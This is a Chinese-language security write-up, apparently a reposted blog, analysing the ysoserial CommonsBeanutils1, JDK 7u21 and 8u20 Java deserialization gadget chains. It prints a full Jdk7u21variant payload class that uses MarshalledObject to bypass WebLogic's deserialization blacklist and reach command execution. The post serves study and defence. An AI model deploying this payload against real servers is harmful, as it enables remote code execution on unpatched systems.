Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

admin 2023年8月5日20:01:45评论9 views字数 6955阅读23分11秒阅读模式


一、CommonsBeanutils1




完整调用链如下:

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

 

这条链的依赖如下 commons-beanutils:commons-beanutils:1.9.2,commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2

前半段的调用链和CC4一样:

PriorityQueue.readObject() -> heapify() -> siftDown() -> siftDownUsingComparator() -> BeanComparator.compare(),所不同的点就是BeanComparator.compare()

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

继续到PropertyUtils.getProperty

PropertyUtilsBean.getInstance()是个静态方法,根据线程的上下文环境中的ClassLoader返回一个PropertyUtilsBean实例。这里的主要调用在getProperty()方法中

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

进入PropertyUtilsBean


/* PropertyUtilsBean.java
*/
protected static PropertyUtilsBean getInstance() {
return BeanUtilsBean.getInstance().getPropertyUtils();
}

// 参数beanTemplatesImpl、参数name"outputProperties"
public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (getNestedProperty(bean, name));
}

public Object getNestedProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
* * * *

// Resolve nested references
while (resolver.hasNested(name)) {
* * * *
}

if (bean instanceof Map) {
bean = getPropertyOfMapBean((Map<?, ?>) bean, name);
} else if (resolver.isMapped(name)) {
* * * *
} else {
bean = getSimpleProperty(bean, name);
}
return bean;
}

public Object getSimpleProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

* * * *

// Retrieve the property getter method for the specified property
PropertyDescriptor descriptor =
getPropertyDescriptor(bean, name);
if
(descriptor == null) {
throw new NoSuchMethodException("Unknown property '" +
name + "' on class '" + bean.getClass() + "'" );
}
// 利用反射机制根据namebean中读取对应属性的读方法,这里就是TemplatesImpl.outputProperties()方法
Method readMethod = getReadMethod(bean.getClass(), descriptor);
if
(readMethod == null) {
throw new NoSuchMethodException("Property '" + name +
"' has no getter method in class '" + bean.getClass() + "'");
}

// Call the property getter and return the value
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return
(value);
}

private Object invokeMethod(
Method method,
Object bean,
Object[] values)
throws
IllegalAccessException,
InvocationTargetException {
if(bean == null) {
throw new IllegalArgumentException("No bean specified " +
"- this should have been checked before reaching this method");
}

try {
// 在这里调用TemplatesImpl.outputProperties()方法
return method.invoke(bean, values);

} catch (NullPointerException cause) {
* * * *
}
}

最后调用链在这里又回到了TemplatesImpl  CC3和4的后半段

TemplatesImpl.newTransformer()->getTransletInstance()->Class.newInstance()->---Method.invoke()->Runtime.exec()


二、7u21




AnnotationInvocationHandler、TemplatesImpl、LinkedHashSet好熟悉.....就贴个调用链吧...

话说忍酱说的真没错,全类名太难背了,我对TemplatesImpl我很熟,但是看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 我还以为是apache哪个jar包呢233333

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

TemplatesImpl

这里涉及到一个关键点TemplatesImpl,CC2中也有提到,当时只是只是粗略的看了一下,这里涉及到javassit,我们利用它生成一个类的byte[] ,然后再回头看TemplatesImpl的newTransformer方法

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

newTransformer中调用了getTransletInstance

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

我们再看defineTransletClasses方法

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

通过loader.defineClass的方式将bytecodes还原为Class,接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class。此时static语句块成功执行。

恶意类大概长这样

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

分析完后半段,我们来看前半段

LinkedHashSet的readObject ——> LinkedHashMap.put ——> k.equals(这里的k是我们通过动态代理生成的Proxy对象,而Proxy对象的任何方法本质都是再调用InvokcationHandler对象中被重写的invoke方法。因为生成Proxy对象时传入的参数是InvokcationHandler的子类AnnotationInvocationHandler,所以自然要调用AnnotationInvocationHandler.invoke()方法)  ——> AnnotationInvocationHandler.invoke()  

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

接下来会调用equalsImpl()方法,传入的var3参数是封装了我们恶意代码的TemplatesImpl对象

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

var1是传递进来的TemplatesImpl对象,然后就是接上上面的TemplatesImpl的newTransformer。

最后有个注意点,key.equals(k)怎么满足,需要计算出key 也就是恶意TemplatesImpl对象的hash值 即可

 

weblogic 最近出的那个7u21的绕过

weblogic在处理jdk 7u21这条反序列化gadgets中,为了平衡拦截的效果与不影响业务,选择拦截com.sun.org.apache.xalan.internal.xsltc.trax这个类 ,原本的7u21逻辑中,从AnnotationInvocationHandler到com.sun.org.apache.xalan.internal.xsltc.trax是通过Templates类的newTransformer方法,会将属性_bytecodes,通过调用java的defineClass去生成一个类,并将其实例化,也就是调用静态代码块的代码。而AnnotationInvocationHandler,创建一个Templates的jdk动态代理,在hashmap出现哈希碰撞的时候,在hashmap中会调用AnnotationInvocationHandler的equal方法,equal方法会调用自身的equalImpl方法 ,equalImple里面的var1 就是黑名单里的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

现在的poc使用了java.rmi.MarshalledObject替换TemplatesImpl,前面的链还是一样的,走到sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl,var1变为MarshalledObject

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

这里注意一点 sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl会返回invoke的method方法,也就会调用MarshalledObject 的get方法

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

我们来看java.rmi.MarshalledObject#get

Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

将objBytes属性作为反序列化的流,从中解析对象。我们知道,weblogic中,必须要调用FilteredObjectInputStream,才可以在反序列化过程中使用反序列化的黑名单。如果类中私自调用ObjectInputStream,则不会应用weblogic反序列化的黑名单。

完整poc如下,参考宽字节,我自己写的虽然可以用,但是有点复杂

package ysoserial.payloads;

import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.rmi.MarshalledObject;
import java.util.HashMap;
import java.util.LinkedHashSet;

/**
* @program: ysoserial
* @description: jdk 7u21 gadgets variant
* @author: potats0
* @create: 2021-04-19 16:55
**/
public class Jdk7u21variant implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {

Object templates = Gadgets.createTemplatesImpl(command);

String zeroHashCodeStr = "f5a5a608";

HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);

LinkedHashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);

map.put(zeroHashCodeStr, templates);

MarshalledObject marshalledObject = new MarshalledObject(set);
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);

set = new LinkedHashSet(); // maintain order
set.add(marshalledObject);
set.add(proxy);
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
return set;
}

public static void main(String[] args) throws Exception {
PayloadRunner.run(Jdk7u21variant.class, args);
}
}


三、8u20




在JDK7u21中反序列化漏洞修补方式是在AnnotationInvocationHandler类对type属性做了校验,原来的payload就会执行失败,在8u20中使用BeanContextSupport类对这个修补方式进行了绕过。

sun.reflect.annotation.AnnotationInvocationHandler#readObject

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;

try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}


AnnotationType.getInstance方法里对this.type类型有判断,需要是annotation类型,原payload里面是Templates类型,所以这里会抛出错误。可以看到在readObject方法里面,是先执行var1.defaultReadObject()还原了对象,然后在进行验证,不符合类型则抛出异常。漏洞作者找到java.beans.beancontext.BeanContextSupport类对这里进行了绕过

直接贴参考文章吧,写的超好 https://www.anquanke.com/post/id/207762


四、参考链接





https://l1nf3ng.github.io/2019/11/05/Ysoserial%E5%B7%A5%E5%85%B7%E8%A7%A3%E8%AF%BB%EF%BC%88%E4%BA%94%EF%BC%89/

https://b1ngz.github.io/java-deserialization-jdk7u21-gadget-note/

https://www.anquanke.com/post/id/207762

https://paper.seebug.org/1224/


 


原文始发于微信公众号(赛博少女):Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年8月5日20:01:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Ysoserial Part 3 —— CB 、7u21、8u20 & 结合Weblogic绕过https://cn-sec.com/archives/820367.html

发表评论

匿名网友 填写信息